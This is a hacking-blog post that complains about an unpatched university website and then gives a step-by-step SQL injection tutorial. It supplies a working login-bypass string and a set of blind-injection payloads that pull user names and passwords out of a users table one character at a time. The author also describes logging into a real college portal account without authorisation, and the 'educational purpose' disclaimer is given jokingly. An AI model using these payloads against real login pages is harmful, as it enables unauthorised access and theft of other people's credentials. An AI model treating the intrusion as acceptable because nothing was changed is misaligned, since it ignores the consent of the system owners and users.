Learn Ethical Hacking Tools Free Hacking Tricks How To Hack Hacking Passwords & Email Hacking

Hi Readers, Today morning I received an email regarding SQL injection vulnerability. The email was from PROHACK. Actually I have subscribed its news letter. Every thing was normal except one thing.....and that was Punjab Technical University (PTU) is hackable very easily.

Actually I am a former PTU student so I have emotional touch with my UNI. I have gone thro the post and decided to check whether this is really possible or not. While googling I found that PTU Jalandhar Website XSS Vulnerability already been exploited by Mr. Ajay Pal Singh Atwal on May 29, 2006.

WTF...!!! Its being almost more then 3 years and still any average hacker can login into the website.

Where are the official authorities of PTU ???? Still after 3 years the government is sleeping. I finally decided to post this article along with the screen shoots so that some will hear the voice and fix the vulnerablities.

The first step which I have taken is to inform Registrar Mr.S. H.S. Bains and Deputy Registrar Mr.Er.S.S.Walia. Below are the screen shots of their official email ID and my email, which I sent to them.


Now lets begin step by step...how to hack websites using SQL Injection Vulnerability. Note that this is for educational purpose and if anybody use this to hack any website, I promise not to prosecute. In many countries it is illegal to use this attack. Here I am not going to share the exact method I have followed, but I will share the steps for SQL injection. One can follow these steps to perform SQL Injection attack.

WARNING:

• Up to 6 months in jail for unauthorised access
• Up to 5 years if with intent to commit further offences

How to Identify a Site Vulnerable to an SQL Injection Attack

• If a web page accepts text entry (for example a user name and password) then try entering a string that contains one single quote.
• A vulnerable site may behave oddly given this input. You may see an error message such as that shown:

By-Pass authentication using SQL Injection

Take a guess

• Before hacking the system, try to guess a user name and password. Unless you are very lucky you will not get into the system.To know more about PASSWORD GUESSING, CLICK HERE

Force an Error

• If you enter a string with a single quote in it such as O'Brien for either user name or password you will get a Software Error as the SQL is invalid and cannot be parsed.

Force Entry

• If you enter the string ' OR ''=' as both user name and password you can ensure that the WHERE clause always returns true. Without knowing any user names or passwords you can by-pass the log in screen. In this example you get the user name of the first person in the table.

The magic string works because it program evaluates:

SELECT name from users WHERE name='name' AND password='password'

as the 'always true' string:


SELECT name from users WHERE name='' OR ''='' AND password='' OR ''=''


Find Table Names using SQL Injection.
Find a user names using SQL Injection:

You can only ask yes/no questions, but you can find out just about anything you want to with a little patience.

You use xx for the user name and enter the following as password:

Are there more than 10 rows in the password table?
' OR (SELECT COUNT(*) FROM users)>10 AND ''='

Is there a user with an r in his name?
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='

Is there a user (other than ajaypal) with an a in his name?
' OR EXISTS(SELECT * FROM users WHERE name!='ajaypal' AND name LIKE '%a%') AND ''='

Find the below example, You can find other users on the system. We choose to get mandeep's password in the below string.


' OR EXISTS(SELECT * FROM users WHERE name='mandeep' AND password LIKE '%w%') AND ''='
Find a password. How to discover the password for a user if you know the name of the password table and a user account.

You can now get the system to answer questions about the password table. It will only ever answer yes (and let you in) or no (by refusing entry). Your questions must take the form of a valid SQL query. In each case use a xx for the user name and the text shown as password. You can ask questions such as:

Does jake's password have a w in it?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='

Does jake's password start with w?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE 'w%') AND ''='

Does jake's password have an w followed by d?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%d%') AND ''='

Is the fourth letter of jake's password w?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '___w%') AND ''='

This works because the LIKE command uses % and _ as wildcards. The % wildcard matches any string, the _ wildcard matches a single character.

Below is the login page for NIT Kurukshetra.

After getting my hands dirty with few SQL strings, I got access to the below account. I login and simply logged out without making any changes.



Below is the internal view of one account. I haven't make any change or even not tried to edit any information, but my motive is only to show that up to which extent one can enter into such a websites.